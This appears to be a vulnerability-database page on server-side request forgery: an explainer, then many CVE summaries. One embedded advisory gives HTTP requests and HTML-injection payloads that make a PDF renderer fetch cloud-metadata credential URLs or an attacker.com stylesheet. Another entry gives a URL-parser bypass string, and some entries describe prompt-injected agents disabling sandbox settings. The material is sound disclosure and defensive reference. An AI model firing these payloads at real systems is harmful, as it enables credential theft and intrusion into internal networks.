Server-Side Request Forgery
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
How It Works
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs. When a web server accepts a URL parameter to retrieve external content—for example, to proxy images, validate webhooks, or import data—an attacker can manipulate that parameter to make the server send requests to unintended destinations. The critical issue is that these requests originate from the server itself, bypassing firewalls and network controls that would block direct external access.
Attacks come in several forms. Direct SSRF gives the attacker full control over the destination URL, allowing them to target internal services like http://localhost:8080/admin or cloud metadata endpoints at http://169.254.169.254/latest/meta-data/. Blind SSRF occurs when the application makes the request but doesn't return the response to the attacker—they must rely on timing differences or out-of-band techniques to confirm success. Partial SSRF restricts the attacker to modifying only part of the URL, such as the hostname or path, requiring more creative exploitation.
The typical attack flow starts with identifying URL parameters that trigger server-side requests. The attacker then probes for internal services by injecting internal IP addresses or localhost references. Common targets include administrative interfaces, internal REST APIs, Redis or Memcached instances, and especially cloud metadata services that expose IAM credentials. Attackers often employ bypass techniques like encoding IPs in decimal format (2130706433 for 127.0.0.1), exploiting URL parser discrepancies between validation and execution layers, or chaining with open redirects to evade basic filters.
Impact
- Access to internal services that should be network-isolated—admin panels, monitoring dashboards, configuration endpoints
- Cloud credential theft via metadata APIs, particularly AWS IAM role credentials exposed at 169.254.169.254
- Reading local files through
file://protocol support, exposing configuration files and source code - Network reconnaissance to map internal infrastructure and identify additional attack targets
- Remote code execution on back-end systems like Redis or Elasticsearch that accept commands over HTTP
- Pivoting deeper into internal networks by using the compromised server as a proxy for further attacks
Real-World Examples
Capital One suffered a massive breach in 2019 when an attacker exploited SSRF in a web application firewall to query AWS metadata services, stealing credentials that granted access to over 100 million customer records. The vulnerability allowed requests to the internal metadata endpoint that should have been unreachable.
Shopify's infrastructure exposed internal Google Cloud metadata in 2020 through an image proxy feature. Security researchers demonstrated they could retrieve service account credentials by tricking the proxy into fetching from the metadata API, potentially compromising the entire GCP environment.
Numerous CVEs in enterprise products highlight SSRF in common features: webhook validators in GitLab, PDF generators that fetch remote images, and document conversion services. These typically manifest when URL validation assumes all requests will target external internet resources, failing to anticipate internal network abuse.
Mitigation
- Allowlist approved destination domains rather than trying to blocklist dangerous ones—only permit necessary external services
- Disable unnecessary URL schemes entirely (file://, gopher://, dict://)—restrict to https:// only where possible
- Network segmentation to prevent application servers from reaching internal infrastructure—use separate VLANs or VPCs
- Deploy cloud metadata protections like AWS IMDSv2 requiring session tokens, making metadata unavailable to simple HTTP requests
- Validate and parse URLs consistently using a single library, then verify resolved IP addresses aren't private ranges
- Remove response bodies from errors to prevent information disclosure in blind SSRF scenarios
Recent CVEs (1212)
{title}</title>") # ← title is not escaped if metadata: for key, value in metadata.items(): html_parts.append(f'<meta name="{key}" content="{value}">') # ← key/value are not escaped ``` **Data flow trace:** ``` User input: research.query │ ▼ research_routes.py:1321 pdf_title = research.title or research.query │ ▼ research_routes.py:1325-1326 export_report_to_memory(report_content, format, title=pdf_title) │ ▼ pdf_service.py:107 PDFService.markdown_to_pdf(markdown_content, title=pdf_title) │ ▼ pdf_service.py:137 _markdown_to_html(markdown_content, title, metadata) │ ▼ pdf_service.py:172 f"<title>{title}</title>" ← injection point, no escaping │ ▼ pdf_service.py:112 HTML(string=html_content) ← WeasyPrint renders the injected HTML ``` `research.query` is a string submitted by the user via `POST /api/start_research`, stored as-is in the database, and retrieved without any sanitization. When the user triggers `POST /api/v1/research/<research_id>/export/pdf`, this value is embedded unescaped into the HTML document processed by WeasyPrint. **Injection point 1: `<title>` tag breakout** ``` Input: </title><img src="http://169.254.169.254/latest/meta-data/" /> Rendered: <title></title><img src="http://169.254.169.254/latest/meta-data/" /></title> ``` When WeasyPrint encounters the injected `<img>` tag, it issues an HTTP GET request to the value of `src` by default. **Injection point 2: `<meta>` attribute breakout** ``` Input: " /><link rel="stylesheet" href="http://attacker.com/evil.css Rendered: <meta name="..." content="" /><link rel="stylesheet" href="http://attacker.com/evil.css"> ``` WeasyPrint will fetch and apply the external stylesheet, which also constitutes SSRF. --- **Step 1: Log in and submit a research query containing the injection payload** ```http POST /api/start_research HTTP/1.1 Host: localhost:5000 Content-Type: application/json Cookie: session=<valid_session> { "query": "</title><img src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\" onerror=\"x\"/>", "mode": "quick", "model_provider": "OLLAMA", "model": "llama3" } ``` The response returns a `research_id`, e.g. `"aaaa-bbbb-cccc-dddd"`. **Step 2: After the research completes, trigger PDF export** ```http POST /api/v1/research/aaaa-bbbb-cccc-dddd/export/pdf HTTP/1.1 Host: localhost:5000 Cookie: session=<valid_session> X-CSRFToken: <csrf_token> ``` **Step 3: Intermediate HTML constructed server-side** ```html <!DOCTYPE html><html><head> <meta charset="utf-8"> <title></title><img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onerror="x"/></title> </head><body> ...report content... </body></html> ``` **Step 4: WeasyPrint issues an outbound HTTP request to the injected URL** Observed in network monitoring (e.g. `tcpdump`) or the target internal service logs: ``` GET /latest/meta-data/iam/security-credentials/ HTTP/1.1 Host: 169.254.169.254 User-Agent: WeasyPrint/... ``` **Lightweight verification (no SSRF environment required):** Set the query to: ``` </title><title>INJECTED ``` The resulting HTML will contain two `<title>` tags and the PDF document metadata title will read `INJECTED`, confirming successful injection. --- By injecting `<img src>`, `<link href>`, or `<style>@import url()` tags pointing to internal addresses, WeasyPrint will issue HTTP requests on behalf of the server during PDF generation. This allows access to: - **Cloud metadata services** (`169.254.169.254`) on AWS, GCP, or Azure - enabling theft of IAM credentials and instance identity documents. - **Internal network services** (`192.168.x.x`, `10.x.x.x`) - enabling reconnaissance and interaction with internal APIs not exposed to the internet. - **Localhost administrative interfaces** - if SSRF protections are only applied at the user-input validation layer. This is an effective bypass of the application's existing SSRF defenses in `ssrf_validator.py`, because WeasyPrint's outbound resource requests are never routed through that validator. Injected tags can prematurely close `<head>` and insert arbitrary content into `<body>`, causing WeasyPrint to render incorrectly or crash, resulting in a Denial of Service (DoS) condition for the export functionality. By injecting `<link>` or `<style>` tags that load external stylesheets, an attacker can fully control the visual content of the generated PDF, enabling report content forgery or spoofing. - All PDF export operations are affected. - The vulnerability is reachable by any authenticated user - no elevated privileges required. - Because each user operates against their own encrypted database, cross-user exploitation is not possible. However, on any shared or multi-tenant deployment, every authenticated user can independently trigger this vulnerability. --- Apply `html.escape()` to all user-controlled values before embedding them in the HTML template inside `_markdown_to_html`: ```python import html if title: html_parts.append(f"<title>{html.escape(title)}</title>") if metadata: for key, value in metadata.items(): html_parts.append( f'<meta name="{html.escape(str(key))}" content="{html.escape(str(value))}">' ) ``` Additionally, consider configuring WeasyPrint with a custom `url_fetcher` that blocks or restricts outbound HTTP requests to prevent SSRF via injected or legitimately-embedded external resources: ```python def safe_url_fetcher(url, timeout=10): from ssrf_validator import validate_url if not validate_url(url): raise ValueError(f"Blocked unsafe URL in PDF rendering: {url}") return weasyprint.default_url_fetcher(url, timeout=timeout) html_doc = HTML(string=html_content, url_fetcher=safe_url_fetcher) ``` --- *Report generated against commit `f3540fb3` - local-deep-research, branch `main`.* --- Thanks @Firebasky for the detailed report. The complete remediation spans two PRs, both merged to `main`: **#3082** (merged 2026-03-29, shipped in **v1.5.0+**) - closes the HTML-injection sinks: - `html.escape()` now wraps the `title` value in `<title>…</title>` - Same for metadata keys/values in `<meta name="…" content="…">` - Regression tests added in `tests/web/services/test_pdf_service.py` **#3613** (merged 2026-04-24, shipped in **v1.6.0**) - implements the `url_fetcher` recommendation from the Remediation section: - New `_safe_url_fetcher` in `pdf_service.py` delegates to `weasyprint.default_url_fetcher` only after `security.ssrf_validator.validate_url` accepts the URL - Blocks AWS metadata (169.254.169.254), RFC1918, loopback, and non-http(s) schemes - Covers the chained SSRF path through any URL reaching the rendered HTML - markdown body, citations, raw-HTML passthrough via Python-Markdown - Blocked URLs raise `UnsafePDFResourceURLError` (a `ValueError` subclass) so WeasyPrint skips the resource and the render continues - 8 regression tests, including an end-to-end render with `<img src="http://169.254.169.254/…">` embedded in the body **Advisory metadata:** CVSS `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N` (5.0 Moderate), CWEs **CWE-79** + **CWE-918**. **Patched in v1.6.0** - upgrade to v1.6.0 or later to receive both fixes.
Server-side request forgery in jshERP up to version 3.6 allows authenticated administrators to manipulate the weixinUrl parameter in the updatePlatformConfigByKey endpoint, enabling remote requests to arbitrary servers. The vulnerability affects the getUserByWeixinCode function in UserService.java and can be exploited remotely by high-privilege users to access internal resources, exfiltrate data, or pivot to backend systems. Publicly available exploit code exists, and the project maintainers have not responded to early disclosure.
Flowise versions prior to 3.1.0 allow authenticated remote attackers to bypass SSRF protections by exploiting direct HTTP client imports in four tool implementations (OpenAPIToolkit, WebScraperTool, MCP, and Arxiv) that circumvent the centralized httpSecurity.ts validation wrapper. An attacker with tool access can craft requests to reach blocked internal endpoints such as AWS metadata services, restoring full SSRF capability despite administrative deny-list configuration.
Server-side request forgery (SSRF) in Open edX Platform allows authenticated Enterprise Admin users to force the application server to make HTTP requests to arbitrary internal network resources, cloud metadata endpoints (AWS 169.254.169.254), or external attacker-controlled hosts via the sync_provider_data SAML configuration endpoint. The unvalidated metadata_url parameter is passed directly to requests.get() without IP filtering or URL scheme enforcement, enabling internal network reconnaissance, credential theft from cloud metadata services, and potential lateral movement. Fixed in commits 6fda1f120ff and 70a56246dd9. EPSS data not available; no confirmed active exploitation at time of analysis.
Prompt-injected AI models can escalate privileges and persist unauthorized configuration changes in OpenClaw gateway before version 2026.4.20 via insufficient authorization guards on agent-facing config.patch and config.apply endpoints. Authenticated attackers (PR:L) with model tool access can disable sandbox policies, enable malicious plugins, modify TLS/authentication settings, alter SSRF protections, reconfigure MCP servers, and weaken filesystem hardening-effectively bypassing operator-enforced security boundaries. Vendor-released patch available in version 2026.4.20. No evidence of active exploitation; EPSS data not available for this recently disclosed vulnerability.
Server-side request forgery in OpenClaw before version 2026.4.20 allows authenticated attackers to bypass strict-mode SSRF policy checks during browser CDP profile creation by storing profiles pointing to private-network or metadata endpoints, which are later probed during normal profile status operations. The vulnerability affects only strict-mode deployments that explicitly restrict private-network CDP targets; default configurations allow private-network endpoints and are not vulnerable. Vendor-released patch: 2026.4.20.
Server-Side Request Forgery in MLflow allows authenticated users to force the MLflow backend to send HTTP requests to arbitrary URLs, including internal services and cloud metadata endpoints (e.g., AWS EC2 metadata at 169.254.169.254). Affects MLflow versions prior to 3.9.0. The webhook creation endpoint accepts unvalidated user-controlled URLs that are later used in HTTP POST requests, enabling cloud credential theft, internal network reconnaissance, and data exfiltration. Vendor-released patch available in MLflow 3.9.0, confirmed by GitHub commit 64aa0ab. No active exploitation confirmed (not in CISA KEV), but publicly disclosed with detailed technical analysis from huntr.com.
Server-Side Request Forgery in Budibase self-hosted instances allows authenticated Global Builder users to bypass SSRF protections via trivial substring manipulation in plugin URL uploads. The vulnerability exploits a flawed validation check that accepts any URL containing '.tar.gz' anywhere in the string, enabling requests to internal cloud metadata services (AWS IMDS at 169.254.169.254), CouchDB, Redis, and private network ranges when chained with the BLACKLIST_IPS bypass (CVE-2026-45060) or via HTTP redirect chains. CVSS 7.7 (High) with Changed Scope indicates cross-boundary impact from application to infrastructure layer. Vendor-released patch available in version 3.35.10 per GitHub security advisory GHSA-xh5j-727m-w6gg. EPSS data not available; no CISA KEV listing at time of analysis. Publicly available exploit code exists in researcher's GitHub repository with Docker-based proof-of-concept.
Server-side request forgery in Next.js allows remote unauthenticated attackers to proxy requests to arbitrary internal or external destinations through crafted WebSocket upgrade requests in self-hosted applications using the built-in Node.js server. Attackers can access internal services and cloud metadata endpoints (AWS, GCP, Azure instance metadata) without authentication. This affects Next.js versions 13.4.13 through 15.5.15 and 16.0.0 through 16.2.4. Vendor-released patches available in versions 15.5.16 and 16.2.5. Vercel-hosted deployments are explicitly not affected.
Server-side request forgery (SSRF) in GuardDog 1.0.0 through 2.9.0 allows remote attackers to exfiltrate GitHub personal access tokens and probe internal networks via malicious repository URLs. The vulnerability stems from blind string replacement in ProjectScanner.scan_remote() that fails to validate hostnames before appending authentication credentials. No vendor-released patch identified at time of analysis. Publicly available exploit code exists via GitHub advisory reproduction steps. CVSS 8.2 (High) with network vector and no authentication required.
Authenticated users in pgAdmin 4 before version 9.15 can read arbitrary server-side files or trigger server-side request forgery (SSRF) attacks via unvalidated LLM API configuration endpoints. The vulnerabilities exist in the chat and model-list endpoints where user-supplied api_key_file and api_url parameters are passed directly to LLM provider clients without sanitization, enabling attackers to exfiltrate sensitive files (database credentials, private keys) readable by the pgAdmin process or coerce internal requests to cloud metadata services and private infrastructure.
Server-side request forgery in Gotenberg's Chromium URL-to-PDF endpoint allows unauthenticated remote attackers to exfiltrate cloud credentials and access internal services. The primary `/forms/chromium/convert/url` endpoint ships with no default deny-list for HTTP/HTTPS targets - only blocking file:// URIs - enabling direct access to AWS/GCP/Azure metadata endpoints at 169.254.169.254, RFC 1918 private networks, and localhost services. Even when administrators configure custom deny-lists, attackers bypass validation via HTTP 302 redirects, as Chromium follows redirects without re-validating destinations. Vendor-confirmed public exploit code exists (PoC in GHSA-chwh-f6gm-r836). Patch available in version 8.32.0.
Server-side request forgery in Akaunting 3.1.21 allows authenticated attackers to manipulate the Invoice PDF Rendering component via the config/dompdf.php file, enabling arbitrary HTTP requests from the server to internal or external systems. The vulnerability has CVSS score 2.1 with low severity impact across confidentiality, integrity, and availability; however, publicly available exploit code exists and the vendor did not respond to early disclosure, increasing real-world exploitation risk despite low CVSS metrics.
Server-Side Request Forgery in Linkwarden's fetchTitleAndHeaders function enables authenticated users to perform arbitrary HTTP requests against internal services and infrastructure. The vulnerability stems from inadequate URL validation that only verifies protocol prefixes (http:// or https://) without blocking internal address spaces, allowing attackers to scan internal networks, access metadata endpoints (e.g., cloud provider instance metadata), and potentially exfiltrate sensitive data from services not exposed to the internet. Exploitation requires only low-privilege authentication (PR:L) and can impact resources beyond the vulnerable application's security scope (S:C). Patched in version 2.13.0.
Postiz is an AI social media scheduling tool. From version 2.16.6 to before version 2.21.7, all SSRF protections added in v2.21.4-v2.21.6 share a fundamental TOCTOU (Time-of-Check-Time-of-Use) vulnerability: isSafePublicHttpsUrl() resolves DNS to validate the target IP, but subsequent fetch() calls resolve DNS independently. An attacker controlling a DNS server can exploit this gap via DNS rebinding to redirect requests to internal network addresses. This issue has been patched in version 2.21.7.
Server-side request forgery (SSRF) in FastGPT prior to version 4.14.17 allows authenticated users with App editing privileges to bypass SSRF protections in the lafModule workflow node's fetchData function, enabling arbitrary HTTP requests to internal and private network addresses via unvalidated user-controlled URLs passed to axios without filtering against the application's isInternalAddress blocklist.
FastGPT is an AI Agent building platform. Prior to version 4.14.17, FastGPT had an inconsistent SSRF protection gap in MCP tool URL handling. The direct MCP preview/run endpoints already rejected internal/private network URLs, but the MCP tool create/update endpoints could still save an internal MCP server URL. That stored URL could later be used by workflow execution without revalidating the destination. An authenticated user with permission to create or manage MCP toolsets could store an internal endpoint such as http://localhost:3000/mcp and later cause the FastGPT backend workflow runner to connect to that internal destination. This issue has been patched in version 4.14.17.
FastGPT is an AI Agent building platform. In versions 4.14.11 and prior, FastGPT's isInternalAddress() function in packages/service/common/system/utils.ts blocks cloud metadata endpoints using a fullUrl.startsWith() check against a hardcoded list. This check can be bypassed using at least 7 different URL encoding techniques, all of which resolve to the same cloud metadata service but do not match the blocklist patterns. Additionally, the broader private IP check (isInternalIPv4/isInternalIPv6) is disabled by default because CHECK_INTERNAL_IP defaults to false (not 'true'), so these bypasses reach the metadata endpoint without any further validation. At time of publication, there are no publicly available patches.
Server-side request forgery (SSRF) in Lemmy prior to version 0.19.18 allows authenticated low-privileged users to trigger arbitrary HTTP requests to internal services by creating link posts with URLs targeting loopback, private, or link-local addresses. When a post is created in a public community, the backend asynchronously sends a Webmention to the attacker-controlled URL without validating against internal address ranges, enabling reconnaissance or exploitation of internal services. No public exploit code has been identified at time of analysis, but the vulnerability is straightforward to demonstrate and requires only user-level account access.
Server-side request forgery (SSRF) in Lemmy prior to version 0.19.18 allows authenticated low-privileged users to bypass internal IP range restrictions and access internal image endpoints. An attacker can submit a crafted post whose Open Graph image tag points to an internal server; Lemmy will fetch and cache the image server-side, potentially exposing sensitive internal resources. The vulnerability exists because the initial page URL is validated against internal IP ranges, but the extracted og:image URL is not subject to the same restriction, creating a two-stage bypass.
Bugsink versions 2.1.2 and earlier contain a webhook URL validation bypass (SSRF) where malformed URLs with backslashes and @ symbols pass validation checks but are interpreted differently by Python's urllib parser versus the requests HTTP client, allowing attackers with webhook configuration access to direct outbound POST requests to blocked hosts including loopback and private addresses. The vulnerability is narrower than full SSRF because requests do not follow redirects, the request shape is constrained by URL normalization, and this only affects webhook integrations, not arbitrary outbound proxying.
Server-side request forgery in MCP Registry's HTTP namespace verification endpoint allows unauthenticated attackers to reach internal IPv4 addresses via specially-crafted IPv6 addresses that encode or tunnel to RFC1918 and cloud-metadata services. The vulnerability exists in the private-address blocklist used by `safeDialContext`, which fails to block IPv6 6to4 (2002::/16), NAT64 well-known (64:ff9b::/96), NAT64 local-use (64:ff9b:1::/48), and deprecated site-local (fec0::/10) prefixes. On dual-stack and IPv6-only cloud deployments (GKE IPv6, AWS IPv6-only EC2, Azure NAT64), this enables direct connections to metadata services and internal Kubernetes API servers. No public exploit code identified at time of analysis, but proof-of-concept has been demonstrated against the production registry.
MCP Registry's GitHub OIDC token exchange allows cross-registry replay attacks due to use of a shared global audience string instead of registry-specific identifiers. An attacker controlling or observing any registry deployment can capture a legitimately issued OIDC token and replay it to another registry instance sharing the same codebase to obtain publish-capable JWTs for the victim GitHub owner namespace, breaking deployment isolation. The vulnerability affects all versions prior to 1.7.6; vendor-released patch available.
Server-side request forgery in n8n-mcp versions 2.18.7 through 2.50.1 allows authenticated attackers with MCP session access to bypass SSRF protections and send HTTP requests to cloud metadata endpoints and internal services, with response bodies returned directly to the attacker. Multi-tenant HTTP deployments are critically exposed: any tenant sharing an AUTH_TOKEN can exfiltrate AWS IAM, GCP service account, or Azure managed identity credentials from the operator's cloud metadata service (169.254.169.254 and related endpoints). Single-tenant and stdio deployments remain vulnerable via indirect prompt injection attacks that manipulate LLM tool calls. Vendor-released patch: n8n-mcp version 2.50.2. No CVSS score assigned; no public exploit code identified at time of analysis, though the advisory contains sufficient technical detail for proof-of-concept development.
Authenticated administrators in Flarum can read arbitrary files and trigger server-side request forgery via LESS injection in theme color settings. The vulnerability exploits an incomplete patch for CVE-2023-27577 that restricted @import and data-uri() only in the custom_less setting but failed to apply the same restrictions to other LESS config variables such as theme_primary_color and theme_secondary_color. An attacker with admin credentials can inject arbitrary @import directives into compiled forum.css, exposing sensitive files or making outbound HTTP requests to internal networks and cloud metadata endpoints. Vendor-released patches: Flarum 1.8.16 and 2.0.0-rc.1.
Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8, a Server-Side Request Forgery (SSRF) vulnerability exists in @angular/platform-server due to improper handling of URLs during Server-Side Rendering (SSR). When an attacker sends a request such as GET /\evil.com/ HTTP/1.1 the server engine (Express, etc.) passes the URL string to Angular’s rendering functions. Because the URL parser normalizes the backslash to a forward slash for HTTP/HTTPS schemes, the internal state of the application is hijacked to believe the current origin is evil.com. This misinterpretation tricks the application into treating the attacker’s domain as the local origin. Consequently, any relative HttpClient requests or PlatformLocation.hostname references are redirected to the attacker controlled server, potentially exposing internal APIs or metadata services. This issue has been patched in versions 19.2.21, 20.3.19, 21.2.9, and 22.0.0-next.8.
Server-Side Request Forgery (SSRF) in PromptHub 0.4.9 through 0.5.3 allows authenticated users to bypass IPv6 address validation and probe internal network resources. The /api/skills/fetch-remote endpoint accepts user-supplied URLs and fetches them server-side, reflecting up to 5 MB of response data. Flawed IPv6 validation allows attackers to reach RFC1918 private networks, loopback addresses, and link-local destinations using IPv4-mapped IPv6 hex representations and alternate ::1 notations. When ALLOW_REGISTRATION=true (a documented configuration), any internet user can register and exploit this vulnerability. Vendor-released patch: version 0.5.4. EPSS data not available; no evidence of active exploitation (not in CISA KEV).
Server-Side Request Forgery in utcp-http allows remote attackers to access internal cloud metadata endpoints and firewalled services by hosting a malicious OpenAPI specification on a legitimate HTTPS endpoint that declares internal server URLs, which are then blindly trusted during tool invocation without revalidation. The vulnerability affects utcp-http versions 1.1.1 and earlier, where `call_tool()` and `call_tool_streaming()` reuse previously resolved URLs from OpenAPI specs without re-checking security constraints, combined with a string-prefix bypass (`localhost.evil.com` bypassing `startswith` checks). This is a blind SSRF that exposes cloud metadata (AWS/GCP credentials from 169.254.169.254), internal services like Elasticsearch and Redis, and enables exfiltration via LLM responses when combined with prompt injection. No public exploit code or active exploitation is currently identified, but the vulnerability requires only network-level access and user interaction (convincing an LLM agent to register a malicious tool).
Server-side request forgery in GitHub Enterprise Server's notebook viewer enables remote unauthenticated attackers to access internal services and systems through URL parser confusion. The vulnerability exploits discrepancies between validation and request execution parsers, allowing crafted URLs to bypass hostname checks and target unintended internal hosts. All versions prior to 3.21 are affected, with patches available across supported release branches (3.16.18, 3.17.15, 3.18.9, 3.19.6, 3.20.2). CVSS 7.9 reflects high impact to subsequent system confidentiality, integrity, and availability. No active exploitation confirmed (not in CISA KEV); reported through GitHub Bug Bounty program.
Server-side request forgery in Azure Monitor Action Group Notification System allows authenticated attackers with low privileges to access internal Azure resources and escalate privileges over the network. Microsoft has released a patch addressing this SSRF vulnerability. The attack requires low complexity and no user interaction, enabling authenticated users to abuse the notification service to make unauthorized requests to internal services, potentially accessing high-value confidential data or performing privileged operations within the Azure environment.
Server-Side Request Forgery (SSRF) in nuxt-og-image 6.2.5 through 6.4.8 allows remote attackers to bypass the incomplete IPv6 denylist and redirect validation, reaching internal IP addresses and services through incomplete IPv6 prefix filtering and unauthenticated HTTP redirect following. The vulnerability affects the OG image rendering component used by Nuxt applications, enabling attackers to leak internal service responses by injecting crafted IPv6-mapped addresses or chaining external redirects to internal targets.
Server-Side Request Forgery (SSRF) in FreeScout allows authenticated users to access internal network resources and cloud metadata services via HTTP redirect bypass. The vulnerability in Helper::sanitizeRemoteUrl() re-validates the original URL instead of the final redirect destination, enabling attackers to bypass allowlist controls and reach RFC1918 private networks, cloud metadata APIs (169.254.169.254), and internal HTTP services. FreeScout versions prior to 1.8.217 are affected. Vendor-released patch version 1.8.217 is available. No public exploit code or CISA KEV listing identified at time of analysis, but SSRF vulnerabilities are frequently exploited in cloud environments for credential theft and lateral movement.
Server-side request forgery in router-for-me CLIProxyAPI 6.9.29 allows authenticated remote attackers to manipulate the url parameter in the API Interface handler to perform arbitrary network requests on behalf of the server. The vulnerability has a publicly available exploit and vendor communication attempts were unsuccessful, though the low CVSS score (2.1) and requirement for authenticated access limit real-world impact compared to unauthenticated SSRF vulnerabilities.
DNS rebinding bypass in Wallos subscription tracker allows authenticated users to exfiltrate internal network data via SSRF on 10 of 11 HTTP endpoints. Wallos 4.8.4 and prior validate webhook URLs with gethostbyname() but fail to pin DNS resolution in cURL requests, creating a time-of-check-time-of-use race window. Attackers with low-privilege accounts can exploit this to probe internal services (databases, cloud metadata endpoints, admin panels) despite SSRF defenses. EPSS not yet available for this recent CVE. No vendor-released patch at time of analysis - upstream commit e87387f0 exists but tagged release version not confirmed.
Blind SSRF via CGNAT address bypass in Wallos prior to version 4.8.1 allows authenticated users to probe internal services on Carrier-Grade NAT networks (100.64.0.0/10) through logo/icon URL fetching in subscription and payment endpoints. The vulnerability stems from incomplete IP range validation that fails to block RFC 6598 CGNAT addresses, enabling reconnaissance of services in Tailscale, dual-stack carrier environments, and internal infrastructure. CVSS 4.3 reflects limited confidentiality impact with authentication requirement; actively fixed in 4.8.1.
Istio versions prior to 1.28.6 and 1.29.2 allow authenticated attackers to perform Server-Side Request Forgery (SSRF) attacks via RequestAuthentication resources with malicious jwksUri values pointing to internal services, enabling istiod to fetch sensitive data from localhost or link-local IPs and distribute it to Envoy proxies through xDS configuration. The vulnerability requires an authenticated user to create or modify a RequestAuthentication resource, limiting the attack surface to cluster administrators or users with API access. A partial mitigation was released in earlier versions (1.29.1, 1.28.5, 1.27.8) but was incomplete; the complete fix is in versions 1.28.6 and 1.29.2.
Server-Side Request Forgery in docling-graph versions up to 1.5.0 allows authenticated attackers with user interaction to bypass IP validation and reach private, loopback, and cloud metadata endpoints by supplying arbitrary URLs to the URLInputHandler class or via the --source CLI argument. The vulnerability combines missing internal IP address validation with unrestricted HTTP redirects (allow_redirects=True), enabling theft of cloud IAM credentials and access to internal services on 127.0.0.1, 10.x, 172.16.x, 192.168.x, and 169.254.169.254 address ranges. Vendor-released patch: v1.5.1.
Unauthenticated server-side request forgery (SSRF) in Gotenberg 8.30.1 and earlier allows remote attackers to force the server to make HTTP requests to internal/loopback addresses by bypassing default deny-lists with IPv4-mapped IPv6 notation (e.g., http://[::ffff:127.0.0.1]:port). The vulnerability affects both the downloadFrom file-fetching feature and the webhook delivery feature. Attackers can read content from internal HTTP endpoints and trigger state-changing requests against services bound to localhost, exposing internal APIs, cloud metadata endpoints, and admin interfaces. Fix available in version 8.32.0. No public exploit code confirmed outside the GitHub advisory PoC, not listed in CISA KEV, but CVSS 9.4 Critical rating reflects the network-accessible, unauthenticated nature and high confidentiality/integrity impact.
Server-Side Request Forgery in Gotenberg's LibreOffice conversion endpoint allows remote attackers to make arbitrary HTTP requests from the server to internal networks and cloud metadata endpoints. Attackers upload specially crafted Office documents (DOCX, XLSX, PPTX) with embedded external URL references that LibreOffice fetches during PDF conversion, completely bypassing the SSRF protections introduced in v8.31.0. Publicly available exploit code exists with detailed proof-of-concept showing three successful HTTP requests to attacker-controlled servers. The vulnerability enables exfiltration of cloud IAM credentials from metadata services (169.254.169.254), internal service enumeration, and network reconnaissance without authentication. CVSS 8.2 with network vector and no privileges required reflects accurate real-world risk given documented exploitation method and lack of vendor-released patch.
Server-side request forgery in Playwright Capture before version 1.39.6 allows remote attackers to access local files and internal network resources through browser-side redirection mechanisms when processing untrusted URLs. An attacker-controlled page can abuse window.location.href and similar navigation primitives to redirect the capture process to file:// URLs or private IP addresses, potentially leaking responses through screenshots, saved content, or logs. The vulnerability is mitigated by request routing checks introduced in version 1.39.6 that block secondary requests to local files, non-global IP addresses, and .local domains.
An unsafe remote resource fetching vulnerability existed in MISP Modules expansion modules. The html_to_markdown module accepted arbitrary HTTP(S) URLs without sufficient validation, which could allow Server-Side Request Forgery against loopback, private, or link-local network resources. Additionally, the qrcode module disabled TLS certificate verification when retrieving remote images, exposing requests to potential man-in-the-middle interception or response tampering. The issue was fixed by validating URL schemes, blocking local and private address ranges, resolving hostnames before fetching, enforcing request timeouts, and re-enabling TLS certificate verification. As reported by Bilal Teke.
The URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current PraisonAI project uses _validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. <img width="1290" height="1145" alt="QQ20260424-151256-24-1" src="https://github.com/user-attachments/assets/d5f16b74-5ad2-444f-8600-b05f78a4b769" /> However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _validate_url for URL validation, and then using _get_session().get to send the request. <img width="1143" height="740" alt="QQ20260424-151437-24-2" src="https://github.com/user-attachments/assets/b1bf6ec2-d32a-4dac-b814-da819e8d3c83" /> In reality, its underlying mechanism is requests.get. <img width="1042" height="576" alt="QQ20260424-151645-24-3" src="https://github.com/user-attachments/assets/e17352c3-4205-44d6-ab6e-75566480215b" /> The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to: - `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as `1.1.1.1` (public) - `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal) Below is a test code I wrote following the code. ``` import sys from pathlib import Path from pprint import pprint sys.path.insert(0, str(Path(r"D:/BaiduNetdiskDownload/PraisonAI-main/PraisonAI-main/src/praisonai-agents"))) from praisonaiagents.tools import spider_tools url = "http://127.0.0.1:6666" result = spider_tools.scrape_page(url) if isinstance(result, dict) and "error" in result: print("scrape failed:", result["error"]) else: pprint(result) ``` When an attacker uses `http://127.0.0.1:6666/`, the existing detection logic can detect that this is an internal network address and block it. <img width="1068" height="128" alt="QQ20260424-152007-24-4" src="https://github.com/user-attachments/assets/294bff10-2af6-4960-bf69-dbf3340b1e9b" /> However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666`, bypassing the detection and achieving an SSRF attack. <img width="2089" height="324" alt="QQ20260424-152123-24-5" src="https://github.com/user-attachments/assets/4421ce42-e47b-48de-a97a-56ce56a2bbc9" /> ``` http://127.0.0.1:6666\@1.1.1.1 ``` SSRF
Server-side request forgery in OpenClaw before 2026.4.20 allows unauthenticated remote attackers to relay unintended requests through QQBot direct media upload endpoints (uploadC2CMedia and uploadGroupMedia) by sending crafted image URLs that bypass SSRF protections. The vulnerability affects QQBot outbound media handling and does not expose arbitrary local files, but could allow attackers to make configured QQBot media delivery requests to unintended destinations.
Server-side request forgery in OpenClaw before version 2026.4.22 allows remote attackers to bypass SSRF protection in the Zalo plugin's sendPhoto function by providing malicious photo URLs, enabling unauthorized access to internal resources. The vulnerability affects the Zalo Bot API integration and requires network access but involves time-based attack complexity; no public exploit code or active exploitation has been confirmed.
